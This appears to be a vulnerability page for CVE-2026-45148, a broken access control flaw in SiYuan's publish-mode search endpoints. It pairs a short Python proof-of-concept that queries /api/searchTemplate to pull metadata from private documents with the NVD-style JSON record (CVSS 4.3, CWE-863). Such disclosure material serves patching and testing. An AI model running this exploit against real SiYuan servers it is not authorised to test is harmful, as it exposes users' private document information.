CVE-2026-45148

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-45148: Broken Access Control in SiYuan. Attempts to enumerate metadata via searchTemplate endpoint. """ # The vulnerable endpoint usually resides under the API path # Example: /api/searchTemplate with method POST or GET depending on config endpoint = f"{target_url}/api/searchTemplate" headers = { "Content-Type": "application/json" } # Payload simulates a search query in publish mode payload = { "query": "" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the response returns data from private documents, the vulnerability is confirmed if "data" in data and len(data["data"]) > 0: print("[+] Vulnerability confirmed! Metadata leaked:") print(data) return True print("[-] Target not vulnerable or request failed.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost:6806" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-45148", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:38.760", "lastModified": "2026-05-14T21:22:56.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, broken access control in the searchAsset, searchTag, searchWidget, and searchTemplate publish-mode Readers can enumerate metadata from documents that are invisible to the publish service. This vulnerability is fixed in 3.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g", "source": "[email protected]"}]}}